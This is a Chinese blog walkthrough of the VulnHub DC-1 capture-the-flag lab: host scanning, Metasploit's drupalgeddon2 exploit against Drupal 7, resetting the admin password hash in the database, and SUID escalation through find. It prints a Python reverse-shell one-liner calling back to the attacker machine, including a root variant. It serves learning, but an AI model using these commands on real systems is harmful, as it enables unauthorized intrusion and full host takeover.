vulnhub dc1 渗透测试经验记录
最近想转行到渗透,所以学习一下vulnhub,作为php程序员,对web方面的知识掌握的快,也很熟悉,但是对于系统方面和后渗透方面的东西还不是很熟悉。
vulnhub能提供很好的学习环境,遇到不会的可以搜一下思路,节省了时间。
一 安装
这是下载地址,直接丢到下载软件里下载即可。
http://www.five86.com/downloads/DC-1.zip
https://download.vulnhub.com/dc/DC-1.zip
解压缩后,是DC-1.ova这样的一个文件,直接用虚拟机软件打开就行。
我用的virtualbox,启动后会出现usb2报错,因为这个环境中用不到usb,所以直接禁掉usb,顺利进入环境
渗透机使用的kali,这里就不介绍安装了
二 信息收集
已知本地渗透机ip:192.168.2.111
1.对于目标机,我们只知道在本地,而不知道具体的ip,所以要扫描一下存活主机
sudo nmap -v -sS 192.168.2.0/24
2.发现目标机ip和端口后,看到有80web端口,直接用浏览器打开ip
3.发现web用的是drupal,这时候有两条思路,第一条,继续收集目标网站的其他信息,第二条是直接搜索有没有漏洞
我才用第二条,直接寻找drupal的漏洞
1)whatweb查看drupal的版本
whatweb 192.168.2.112
可以发现是drupal 7
2)用searchexploid查看一下是否有相关漏洞,也可以百度谷歌找一下有没有相关漏洞
可以发现有很多漏洞,其中7版本的也很多,发现有metasploit的版本,我们直接使用msf来进行快速渗透
三 渗透
1.启动msfconsole
service postgresql start #先启动数据库,否则在msfconsole里搜索会很慢 msfconsole search drupal #看看有哪些可以漏洞
我们直接使用4
use exploit/unix/webapp/drupal_drupalgeddon2 set rhosts 192.168.2.112
exploit
等一会,可以看到成功了
shell #进入命令行模式 python -c "import pty;pty.spawn('/bin/bash')"
可以看到了熟悉的linux命令行界面
2.寻找flag
ls cat flag1.txt
提示说可以去看看cms的配置文件
百度后,drupal的配置文件在sites里面,我们进入里面寻找
3.寻找flag2
最终在 /var/www/sites/default/settings.php里找到了flag2 和数据库的配置
给的提示是说 暴力破解不是唯一的路,也就是想要我们进到web后台看一看
3.寻找flag3
我们直接进数据库里看看
数据库中只找到了users表,但是密码不是普通的md5,需要百度一下drupal的密码生成规则,或如何重置密码
百度后知道有几种方法可以获得加密后的密码
第一种使用php代码,第二种直接用sh文件
为了方便,直接用第二种方法 在/var/www/scripts下有一个password-hash.sh的文件
可以使用
./password-hash.sh --help #查看帮助 ./password-hash.sh "123456" #获得123456加密后的密码
这里有个问题,直接运行会报错,我们退回到上一目录 ,执行如下命令
./scripts/password-hash.sh "123456"
获得加密后的密码,我们就可以直接去mysql里把admin的密码替换掉
update users set pass="上面得到的密码" where name="admin";
然后直接登录drupal,找找有没有什么线索。
发现了这个,直接点击查看
4.suid提权
因为这方面知识是在短缺,看的我一脸懵,百度后得知,需要使用linux的suid提权
详情可以参考这个
https://blog.****.net/qq_36119192/article/details/84872644
具体的命令是
find web.config -exec whoami \;
查看是不是显示root ,如果是的话,可以下一步
这一步是反射一个shell到渗透机上,渗透机需要开启监听
nc -lvp 4445 #渗透kali执行 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.111",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' #目标机执行
运行后,发现渗透机获取的是www的权限,而不是root
把上面的find和刚输入的命令结合起来,也就是说替换掉web.config
find web.config -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.111",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' \;
这样就能获得目标机的root权限
然后我们在find flag看看
find / -name "*flag*"
搞定!
从这个练习中,可以发现对于提权十分不熟悉,还需要多多努力。
原文地址:https://www.cnblogs.com/darkz88/p/13365708.html
上一篇: 国内最大动漫网站因提供18禁动漫毒害未成年人,遭受严厉处罚
下一篇: 在谷歌商店有18款游戏可玩吗?